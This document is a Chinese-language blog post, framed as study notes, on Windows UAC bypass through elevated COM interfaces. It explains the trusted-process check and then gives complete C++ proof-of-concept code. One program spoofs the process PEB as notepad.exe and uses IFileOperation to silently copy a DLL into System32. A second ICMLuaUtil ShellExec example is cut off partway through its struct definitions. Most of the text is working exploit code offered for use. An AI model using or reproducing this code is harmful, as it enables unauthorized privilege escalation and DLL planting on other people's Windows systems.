UACBypass COM提权学习
0x1 前言
网上关于UACBypass方法比较多,本文备忘下COM方法的UACBypass的方法。在windows系统中,正常程序启动是user权限,如果需要提升到管理员权限,会弹出一个提权窗,给到用户确认是否要提权。但是windows系统中有很多系统程序,为了避免过多的打扰用户,所以windows对这些系统进程会有一些放过,本文备忘下在学习过程中整理的从user权限到管理员权限的COM方法的UACBypass,以及其提权的原理。
0x2 COM类提权
COM类提权原理,系统对提权类COM会校验调用来源,如果是系统可信进程(微软进程),则可以通过CoCreateInstanceAsAdmin函数来创建一个提权的COM类,如果不是可信进程,则CoCreateInstanceAsAdmin会弹出一个提权弹窗。对于校验可信进程,一般有多种方法:
1.注入到系统可信进程(一般注入到explorer、dllhost进行执行)
2.修改当前进程PEB结构,欺骗PSAPI,COM组件通过PSAPI读取进程PEB结构中的Commandline来识别进程来源是否可信,可以将进程的PEB路径修改为比如explorer.exe,就可以对COM提权
3.用可信文件直接调用COM组件,比如使用powershell.exe调用COM组件进行提权
下面介绍几种常用的提权COM类:
2.1 IFileOperation越权拷贝文件
通过修改PEB,越权执行IFileOperation的拷贝,参考https://www.secpulse.com/archives/72563.html
#include <cstdio> #include <Windows.h> #include <string> #include <tlhelp32.h> EXTERN_C IMAGE_DOS_HEADER __ImageBase; #include <Shobjidl.h> #include <string> #include <strsafe.h> #define RTL_MAX_DRIVE_LETTERS 32 #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #define GDI_BATCH_BUFFER_SIZE 310 #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif #if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _CLIENT_ID64 { ULONG64 UniqueProcess; ULONG64 UniqueThread; } CLIENT_ID64, *PCLIENT_ID64; typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; } DUMMYUNION0; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; union { ULONG Flags; struct { ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1 ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1 ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1 ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1 ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1 ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1 ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1 ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1 ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1 ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1 ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2 ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1 ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1 ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1 ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1 ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2 ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1 ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1 ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1 ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1 ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1 ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1 ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1 ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1 ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2 ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1 ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2 ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1 }; } ENTRYFLAGSUNION; WORD ObsoleteLoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; } DUMMYUNION1; union { ULONG TimeDateStamp; PVOID LoadedImports; } DUMMYUNION2; //fields below removed for compatibility } LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; //8+ ULONG ProcessGroupId; // ULONG LoaderThreads; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN IsLongPathAwareProcess : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ProcessPreviouslyThrottled : 1; ULONG ProcessCurrentlyThrottled : 1; ULONG ReservedBits0 : 25; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PVOID *ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID *ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; UNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PVOID *FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; ULONG FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; ULONG CritSecTracingEnabled : 1; ULONG LibLoaderTracingEnabled : 1; ULONG SpareTracingBits : 29; }; }; ULONGLONG CsrServerReadOnlySharedMemoryBase; } PEB, *PPEB; typedef struct _GDI_TEB_BATCH { ULONG Offset; UCHAR Alignment[4]; ULONG_PTR HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH, *PGDI_TEB_BATCH; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PSTR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME *Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; NTSTATUS ExceptionCode; PVOID ActivationContextStackPointer; #if defined(_M_X64) UCHAR SpareBytes[24]; #else UCHAR SpareBytes[36]; #endif ULONG TxFsContext; GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; HANDLE GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; ULONG_PTR Win32ClientInfo[62]; PVOID glDispatchTable[233]; ULONG_PTR glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorMode; #if defined(_M_X64) PVOID Instrumentation[11]; #else PVOID Instrumentation[9]; #endif GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; PVOID WinSockData; ULONG GdiBatchCount; union { PROCESSOR_NUMBER CurrentIdealProcessor; ULONG IdealProcessorValue; struct { UCHAR ReservedPad0; UCHAR ReservedPad1; UCHAR ReservedPad2; UCHAR IdealProcessor; }; }; ULONG GuaranteedStackBytes; PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; PVOID ThreadPoolData; PVOID *TlsExpansionSlots; #if defined(_M_X64) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG MuiGeneration; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { USHORT CrossTebFlags; USHORT SpareCrossTebBits : 16; }; union { USHORT SameTebFlags; struct { USHORT SafeThunkCall : 1; USHORT InDebugPrint : 1; USHORT HasFiberData : 1; USHORT SkipThreadAttach : 1; USHORT WerInShipAssertCode : 1; USHORT RanProcessInit : 1; USHORT ClonedThread : 1; USHORT SuppressDebugMsg : 1; USHORT DisableUserStackWalk : 1; USHORT RtlExceptionAttached : 1; USHORT InitialThread : 1; USHORT SpareSameTebBits : 1; }; }; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; ULONG SpareUlong0; PVOID ResourceRetValue; } TEB, *PTEB; typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, _In_ PVOID Context, _Inout_ BOOLEAN *StopEnumeration ); typedef PVOID NTAPI RTLINITUNICODESTRING( _Inout_ PUNICODE_STRING DestinationString, _In_opt_ PCWSTR SourceString ); typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING; LPRTLINITUNICODESTRING RtlInitUnicodeString; typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION( _In_ PRTL_CRITICAL_SECTION CriticalSection ); typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION; LPRTLENTERCRITICALSECTION RtlEnterCriticalSection; typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION( _In_ PRTL_CRITICAL_SECTION CriticalSection ); typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION; LPRTLLEAVECRITICALSECTION RtlLeaveCriticalSection; typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES( _In_opt_ ULONG Flags, _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, _In_opt_ PVOID Context); typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES; LPLDRENUMERATELOADEDMODULES LdrEnumerateLoadedModules; typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY( _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect ); typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY; LPNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory; LPWSTR g_lpszExplorer2 = TEXT("C:\\Windows\\notepad.exe"); VOID NTAPI supxLdrEnumModulesCallback( _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, _In_ PVOID Context, _Inout_ BOOLEAN *StopEnumeration ) { PPEB Peb = (PPEB)Context; if (DataTableEntry->DllBase == Peb->ImageBaseAddress) { RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2); RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"notepad.exe");//explorer *StopEnumeration = TRUE; } else { *StopEnumeration = FALSE; } } __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } VOID supMasqueradeProcess( VOID ) { NTSTATUS Status; PPEB Peb = NtCurrentPeb(); SIZE_T RegionSize; PVOID g_lpszExplorer = NULL; RegionSize = 0x1000; Status = NtAllocateVirtualMemory( NtCurrentProcess(), &g_lpszExplorer, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (NT_SUCCESS(Status)) { RtlEnterCriticalSection(Peb->FastPebLock); RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2); RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2); RtlLeaveCriticalSection(Peb->FastPebLock); LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb); } } int main() { HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll"); if (hinstStub) { RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString"); if (!RtlInitUnicodeString) { printf("Could not find RtlInitUnicodeString entry point in NTDLL.DLL"); exit(0); } RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(hinstStub, "RtlEnterCriticalSection"); if (!RtlEnterCriticalSection) { printf("Could not find RtlEnterCriticalSection entry point in NTDLL.DLL"); exit(0); } RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(hinstStub, "RtlLeaveCriticalSection"); if (!RtlLeaveCriticalSection) { printf("Could not find RtlLeaveCriticalSection entry point in NTDLL.DLL"); exit(0); } LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(hinstStub, "LdrEnumerateLoadedModules"); if (!LdrEnumerateLoadedModules) { printf("Could not find LdrEnumerateLoadedModules entry point in NTDLL.DLL"); exit(0); } NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { printf("Could not find NtAllocateVirtualMemory entry point in NTDLL.DLL"); exit(0); } } else { printf("Could not GetModuleHandle of NTDLL.DLL"); exit(0); } supMasqueradeProcess(); HMODULE hModule = NULL; IFileOperation *fileOperation = NULL; LPCWSTR dllName = L"ntwdblib.dll"; LPCWSTR SourceFullPath = L"C:\\6\\ntwdblib.dll"; LPCWSTR DestPath = L"C:\\windows\\System32"; HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); if (SUCCEEDED(hr)) { hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&fileOperation)); if (SUCCEEDED(hr)) { hr = fileOperation->SetOperationFlags( FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI); if (SUCCEEDED(hr)) { IShellItem *from = NULL, *to = NULL; hr = SHCreateItemFromParsingName(SourceFullPath, NULL, IID_PPV_ARGS(&from)); if (SUCCEEDED(hr)) { if (DestPath) hr = SHCreateItemFromParsingName(DestPath, NULL, IID_PPV_ARGS(&to)); if (SUCCEEDED(hr)) { hr = fileOperation->CopyItem(from, to, dllName, NULL); if (NULL != to) to->Release(); } from->Release(); } if (SUCCEEDED(hr)) { hr = fileOperation->PerformOperations(); } } fileOperation->Release(); } CoUninitialize(); } getchar(); return 0; }
2.2 ICMLuaUtil越权执行
通过修改PEB,越权执行ICMLuaUtil的ShellExec
#include <cstdio> #include <Windows.h> #include <string> #include <tlhelp32.h> EXTERN_C IMAGE_DOS_HEADER __ImageBase; #include <Shobjidl.h> #include <string> #include <strsafe.h> #define RTL_MAX_DRIVE_LETTERS 32 #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #define GDI_BATCH_BUFFER_SIZE 310 #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif #if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _CLIENT_ID64 { ULONG64 UniqueProcess; ULONG64 UniqueThread; } CLIENT_ID64, *PCLIENT_ID64; typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; } DUMMYUNION0; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; union { ULONG Flags; struct { ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1 ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1 ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1 ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1 ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1 ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1 ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1 ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1 ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1 ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1 ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2 ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1 ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1 ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1 ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1 ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2 ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1 ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1 ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1 ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1 ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1 ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1 ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1 ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1 ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2 ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1 ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2 ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1 }; } ENTRYFLAGSUNION; WORD ObsoleteLoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; } DUMMYUNION1; union { ULONG TimeDateStamp; PVOID LoadedImports; } DUMMYUNION2; //fields below removed for compatibility } LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; //8+ ULONG ProcessGroupId; // ULONG LoaderThreads; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN IsLongPathAwareProcess : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ProcessPreviouslyThrottled : 1; ULONG ProcessCurrentlyThrottled : 1; ULONG ReservedBits0 : 25; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PVOID *ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID *ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG 